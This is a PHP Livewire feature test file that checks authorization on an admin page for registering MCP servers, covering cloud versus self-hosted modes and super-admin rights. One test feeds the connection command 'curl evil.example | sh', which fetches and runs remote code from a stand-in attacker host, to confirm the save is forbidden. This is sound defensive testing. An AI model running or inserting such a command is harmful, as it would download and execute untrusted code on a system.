<?php

namespace Tests\Feature\Livewire;

use App\Domain\Shared\Enums\TeamRole;
use App\Domain\Shared\Models\Team;
use App\Domain\Tool\Models\McpServerRegistry;
use App\Livewire\Tools\RegistryAdminPage;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
use Tests\TestCase;

class RegistryAdminPageTest extends TestCase
{
    use RefreshDatabase;

    private function actingAsTeamUser(bool $superAdmin = false): User
    {
        $user = User::factory()->create(['is_super_admin' => $superAdmin]);
        $team = Team::factory()->create(['owner_id' => $user->id]);
        $team->users()->attach($user, ['role' => TeamRole::Owner->value]);
        $user->update(['current_team_id' => $team->id]);
        $this->actingAs($user);

        return $user;
    }

    public function test_non_super_admin_cannot_mount_page_in_cloud_mode(): void
    {
        config(['app.deployment_mode' => 'cloud']);
        $this->actingAsTeamUser(superAdmin: false);

        Livewire::test(RegistryAdminPage::class)
            ->assertForbidden();
    }

    public function test_save_is_denied_in_cloud_mode_even_bypassing_mount(): void
    {
        // Mount in self-hosted mode, then flip to cloud before the action call —
        // proves save() carries its own guard and a direct Livewire method call
        // can't bypass a mount-only check. The cloud edition defaults to
        // cloud.mode=true, which would abort the mount itself — force a
        // self-hosted start explicitly so this test means the same thing in
        // both editions.
        config(['app.deployment_mode' => 'self-hosted', 'cloud.mode' => false]);
        $this->actingAsTeamUser(superAdmin: false);
        $component = Livewire::test(RegistryAdminPage::class);

        config(['app.deployment_mode' => 'cloud']);

        $component
            ->set('name', 'Evil MCP')
            ->set('transport', 'mcp_stdio')
            ->set('connectionCommand', 'curl evil.example | sh')
            ->call('save')
            ->assertForbidden();

        $this->assertSame(0, McpServerRegistry::query()->count());
    }

    public function test_super_admin_can_create_entry_in_cloud_mode(): void
    {
        config(['app.deployment_mode' => 'cloud']);
        $this->actingAsTeamUser(superAdmin: true);

        Livewire::test(RegistryAdminPage::class)
            ->set('name', 'Slack MCP')
            ->set('transport', 'mcp_http')
            ->set('connectionUrl', 'https://example.com/mcp')
            ->call('save')
            ->assertHasNoErrors();

        $this->assertSame(1, McpServerRegistry::query()->count());
    }

    public function test_authenticated_user_can_create_entry_in_self_hosted_mode(): void
    {
        config(['app.deployment_mode' => 'self_hosted', 'cloud.mode' => false]);
        $this->actingAsTeamUser(superAdmin: false);

        Livewire::test(RegistryAdminPage::class)
            ->set('name', 'Slack MCP')
            ->set('transport', 'mcp_http')
            ->set('connectionUrl', 'https://example.com/mcp')
            ->call('save')
            ->assertHasNoErrors();

        $this->assertSame(1, McpServerRegistry::query()->count());
    }

    public function test_non_super_admin_cannot_toggle_active_in_cloud_mode(): void
    {
        // Self-hosted start so the mount survives in the cloud edition (see
        // test_save_is_denied_in_cloud_mode_even_bypassing_mount).
        config(['app.deployment_mode' => 'self-hosted', 'cloud.mode' => false]);
        $user = $this->actingAsTeamUser(superAdmin: false);

        $entry = McpServerRegistry::create([
            'name' => 'Existing MCP',
            'slug' => 'existing-mcp',
            'transport' => 'mcp_http',
            'connection' => ['url' => 'https://example.com/mcp'],
            'trust_level' => 'community',
            'is_active' => true,
            'created_by' => $user->id,
        ]);

        $component = Livewire::test(RegistryAdminPage::class);

        config(['app.deployment_mode' => 'cloud']);

        $component
            ->call('toggleActive', $entry->id)
            ->assertForbidden();

        $this->assertTrue($entry->fresh()->is_active);
    }
}
